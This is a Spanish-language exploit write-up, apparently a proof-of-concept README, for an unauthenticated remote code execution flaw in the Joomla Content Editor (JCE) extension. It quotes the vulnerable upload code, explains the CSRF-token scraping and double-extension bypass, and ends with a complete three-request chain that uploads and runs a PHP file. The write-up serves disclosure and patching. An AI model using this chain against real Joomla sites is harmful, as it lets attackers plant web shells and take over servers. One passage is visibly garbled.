Prueba de concepto de exploit y análisis técnico para CVE-2026-48907, una vulnerabilidad de ejecución remota de código sin autenticación previa con CVSS 10.0 en el Editor de Contenido de Joomla (JCE). Incluye una cadena de ataque de 3 solicitudes y un desglose detallado del parche.
Exploit de prueba de concepto para CVE-2026-48907 — una vulnerabilidad de ejecución remota de código (RCE) CVSS 10.0 previa a la autenticación en la extensión Joomla Content Editor (JCE).
Investigación del Grayxploit Security Team
CVE-2026-48907 es una vulnerabilidad crítica de ejecución remota de código (RCE) no autenticada que afecta a la extensión Joomla Content Editor (JCE) — el editor de Joomla más instalado — en todas las versiones hasta la 2.9.99.4 inclusive.
Al encadenar tres debilidades de seguridad independientes en el flujo de importación de perfiles de JCE, un atacante completamente no autenticado puede:
/tmp/ del servidorEl ataque solo requiere 3 peticiones HTTP y funciona contra cualquier instalación predeterminada de Joomla que ejecute una versión vulnerable de JCE.
Puntuación CVSS v4: 10.0 — Crítica
Descubierta y divulgada públicamente por el equipo de investigación de seguridad Grayxploit tras una divulgación responsable.
| Software | Versiones vulnerables | Versión parcheada |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (recomendada) |
Nota: la 2.9.99.5 introdujo la corrección principal. La 2.9.99.6 añadió capas de endurecimiento adicionales. Actualice a 2.9.99.6 o posterior.
La vulnerabilidad se origina en el endpoint de importación de perfiles de JCE:
POST /index.php?option=com_jce&task=profiles.import
JCE permite a los administradores exportar e importar perfiles de editor como archivos XML. El manejador de importación es accesible sin autenticación y acepta cargas de archivos arbitrarias debido a una cadena de tres debilidades independientes.
El controlador de importación no realizaba ninguna comprobación de ACL:
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
Joomla incorpora el token CSRF en cada página pública como una metaetiqueta o variable JS:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
Un atacante simplemente obtiene la página de inicio, extrae el token y lo reutiliza. La comprobación CSRF evita las peticiones entre sitios — no evita las peticiones directas mediante scripts. No había ninguna llamada a Factory::getUser() ni a $user->authorise(...) en ninguna parte de la ruta de importación.
El manejador de carga usaba File::makeSafe(), que solo elimina los caracteres ilegales del sistema de archivos — no valida ni restringe las extensiones de archivo:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
Un nombre de archivo como shell.xml.php pasa por File::makeSafe() sin modificarse. El mod_php de Apache lo ejecuta porque la última extensión reconocida es .php. Extensiones como .php, .php5, .phtml y las variantes de doble extensión eran todas aceptadas.
File::upload() llamado con $allow_unsafe = true (CWE-116)El método File::upload() de Joomla tiene una lista negra de extensiones integrada que bloquea los tipos de archivo peligrosos cuando $allow_unsafe = false (el valor predeterminado):
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
El código vulnerable de JCE deshabilitaba explícitamente esta red de seguridad:
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
Este único booleano desactivó por completo la lista negra interna de extensiones de Joomla, lo que permitió que .php, .php5, .phtml y todas las demás extensiones ejecutables se escribieran en el disco.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘